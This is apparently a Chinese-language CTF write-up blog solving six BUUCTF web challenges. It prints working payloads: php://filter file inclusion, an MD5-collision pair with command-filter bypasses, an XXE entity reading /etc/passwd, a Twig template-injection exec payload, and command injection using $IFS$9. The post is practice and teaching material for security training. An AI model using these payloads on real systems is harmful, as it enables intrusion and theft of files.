你👱🏻‍寒假打了几次比赛,但是做出来的题跟打的比赛次数差不多

你👱🏻‍太拉胯了,只能继续看题

否则你👱🏻‍只能从CTF的世界里Get Out了

[BSidesCF 2020]Had a bad day

打开网页,点击了可以点击的按钮后

你👱🏻‍感觉可能有SQL注入或者文件包含,

尝试利用php://filter伪协议获取index.php源码

php://filter/read=convert.base64-encode/resource=index.php

输入后发现报错,把后缀去掉后就好了

得到一串base64加密的字符串 解密后得到源码

       <?php
            $file = $_GET['category'];

            if(isset($file))
            {
                if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
                    include ($file . '.php');
                }
                else{
                    echo "Sorry, we currently only support woofers and meowers.";
                }
            }
        ?>

你👱🏻‍传入的category需要有woofers,meowers,index才能包含传入以传入名为文件名的文件,所以你👱🏻‍要想办法包含flag.php

你👱🏻‍尝试

/index.php?category=woofers/../flag

出现了新内容

这里需要利用伪协议php://filter套一层协议,读取flag.php

/index.php?category=php://filter/convert.base64-encode/index/resource=flag

得到字符串base64解码后即为flag

[安洵杯 2019]easy_web

你👱🏻‍一进去就是这个

url为

http://4ccae426-3dff-42d7-b2fd-c23ce89ee664.node4.buuoj.cn:81/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

将img后的字符串解码两次 得到3535352e706e67

将3535352e706e67进行16进制转字符串得到555.png

使用类似的加密反推index.php得到

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

将字符串进行base64解码后得到

<?php
  error_reporting(E_ALL || ~ E_NOTICE);
  header('content-type:text/html;charset=utf-8');
  $cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
 $file = hex2bin(base64_decode(base64_decode($_GET['img'])));

 $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
 echo $cmd;
 echo "<br>";
 if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
    echo `$cmd`;
} else {
    echo ("md5 is funny ~");
 }
}

?>

(最开始查看源代码也有一串base加密后的字符串,但是你👱🏻‍解密后发现那个就是图片的意思,应该没什么用)

有一个md5强绕过

解法如下:

    a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

 
     b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

然后过滤了ls echo等,但是我们还可以用dir

发现没有flag,再访问根目录,这里过滤了空格,所以用%20代替空格

但是过滤了cat,这里的绕过方法有

ca\t 后面的\t会成为 TAB 而绕过
接着就简单了

ca\t%20/flag

这里的正则还过滤了反斜杠字符,你👱🏻‍发现反斜杠这里还有挺多细节的

如果要让正则匹配出一个\字符,则需要在php中的pattern中添加四个\字符,经过php解释器解释成两个\字符,再有正则解释器解释成一个字符\

这里得到flag

[NCTF2019]Fake XML cookbook

进去是个登陆页面,第一眼感觉是sql注入

对登陆进行抓包

这里题目提示了xml实体,所以你👱🏻‍得去了解一下xml实体

XXE漏洞全称XML External Entity Injection 即XML外部实体注入。

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

XXE常见利用方式

与SQL相似,XXE漏洞也分为有回显和无回显

有回显,可以直接在页面中看到payload的执行结果或现象。

无回显,又称为blind xxe,可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件。

解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞。

这里需要构造恶意实体,尝试读取文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>

再尝试读取flag

 <?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE note [
 <!ENTITY admin SYSTEM "file:///flag">
 ]>
 <user><username>&admin;</username><password>123456</password></user>

成功拿下flag

[BJDCTF2020]Cookie is so stable

你👱🏻‍打开题目,一共有两个地方可以点,一个flag,一个hint

flag应该是什么注入,hint不知道什么意思

F12可以看到Hint提示我们在cookie那里进行攻击

你👱🏻‍找了一下服务端注入,感觉这个整理的还不错

这里的绿线表示结果成功返回,红线反之。有些时候,同一个可执行的 payload 会在不同引擎中返回不同的结果,比方说49会在 Twig 中返回49,而在 Jinja2 中则是7777777。

附上原网址

https://zhuanlan.zhihu.com/p/28823933

输入49,如果返回49则是Twig模板

如果返回77777777则表示是Jinja2模块

使用burpsuite发现注入点

换成49

用对应的Twig模块的payload攻击

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

OK了family们

[ASIS 2019]Unicorn shop

你👱🏻‍打开网站,是个shop

买🐴试试看

只允许输入一个字符

那你👱🏻‍只输入一个试试看

😅说是买了错误的商品

那应该是最expensive的那个1337了

根据提示,这道题应该涉及到python和unicode

这里只能输入一个字符,又要大于1337,所以应该是特殊的符号之类的

https://www.compart.com/en/unicode/

比如这个,

它的UTF-8编码是0xE2 0x86 0x82,将0x换成%

得到%E2%86%82

id=4&price=%E2%86%82

传参即可得到flag

[WUSTCTF2020]朴实无华

你👱🏻‍进去就是Hack me

必须给你拿下

其他的什么提示都没有

扫一下目录

扫到了robots.txt

robots.txt是这个样子

进入这个文件,只有一个假flag,现在也没别的线索,你👱🏻‍抓个包试试

这里出现了新的/fl4g.php

我超,朱1️⃣🥚

还有源码

可以看到一共有3层

第一层是intval函数的关卡

Get传参num,其中num的值既要小于2020,加1后又要大于2021

如果不传入num就得滚去Africa,传入的不满足条件就会变成poor man

看看intval这里有什么特性

这里借用一下别人的研究成果

里面有个重要的东西

echo intval(1e10);    // 1410065408
echo intval('1e10');  // 1

如果intval函数参数填入科学计数法的字符串,会以e前面的数字作为返回值,这里是1

那么当对字符串’1e10’+1是不是可以将字符串类型强行转换成数字类型呢

经过测试,可以这样绕过,于是构造url

 ?num=2e4

不知道为什么加单引号的时候还是过不了

第二层是md5弱类型

这个搜一下就有了

payload为

&md5=0e215962017

来到最后一层

这里要求传入参数get_flag而且不能有空格

如果有cat,则会被替换成wctf2020,传入的get_flag会被当成系统命令执行

先用ls列出文件,其中最长的那个应该就是了

cat不能用,你👱🏻‍就用tac

用$IFS$9代替空格

最终payload为

    fl4g.php?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

拿到flag